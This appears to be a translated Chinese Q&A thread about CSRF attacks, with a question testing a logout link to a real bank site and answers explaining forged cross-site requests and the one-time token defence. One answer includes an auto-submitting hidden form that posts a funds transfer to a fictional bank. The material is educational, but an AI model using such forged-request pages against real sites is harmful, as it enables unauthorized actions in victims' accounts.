1

我们团队最近讨论了 CSRF 攻击。我的团队成员说以下是CSRF攻击: 1. 攻击者向受害者发送一个伪造的html文件,其中可能有一些伪造的请求,如窃取cookie 2. 受害者保存文件 3. 受害者打开受信任的网站,然后打开html文件 4.文件的请求被执行

它可以在追逐允许用户注销的情况下工作。以下是脚本:

<!DOCTYPE html>
<html>
<body>

<p>Create a link of an image:
<a href="default.asp">
<img src="smiley.gif" alt="HTML tutorial" width="32" height="32"></a></p>

<p>No border around the image, but still a link:
<a href="https://chaseonline.chase.com/secure/LogOff.aspx">
<img border="0" src="smiley.gif" alt="HTML tutorial" width="32" height="32"></a></p>

</body>
</html>

它至少可以让自己成功注销。但是,我觉得这是因为该文件是在本地执行的,这使它工作。如果我打开一个真正的恶意网站或页面,它可能无法正常工作。谁能给我任何想法?

谢谢~

4

2 回答 2

2

好的,假设您为一家银行经营一个网站。假设您有一个端点,它使用包含要转移到的帐户和要转移的金额的表单数据POST来接受请求。https://bank.example.com/transfer当然,您将检查会话 cookie 以确保请求来自具有有效会话的用户。

现在,恶意网站可以构建一个表单,其中包含他们想要汇款的帐号和任意金额的金额。现在他们需要做的就是将恶意网站的所有访问者发布到https://bank.example.com/transfer. 任何在登录您的银行网站(并获得有效的会话 cookie)后登陆恶意网站的受害者,现在都可以从他们那里窃取资金。

这种攻击的标准修复方法是要求所有导致重要状态更改的端点也提交一个随机的、一次性的、与用户的 cookie 缓存分开的密钥(通常包括您的网站在您期望的页面上)请求来自)。

于 2013-08-14T05:00:37.800 回答
0

让我也举一个 CSRF 攻击的经典例子,攻击者欺骗受害者将钱转移到他的账户,前提是受害者与银行有一个活跃的会话。这种攻击需要在受害者与银行进行合法会话时代表受害者提交 POST 请求。攻击者可以让受害者访问包含以下 HTML 的页面:

<html>
<body>
      <form name="hack_form" action="http://CrapyBank.com/csrf.php?menu=400&TransferFunds=4000" method="POST">
          <input type="hidden" name="hack_param" value="hack">
      </form>
      <script type="text/javascript">document.hack_form.submit();</script>
</body>
</html>
于 2015-04-19T03:10:13.477 回答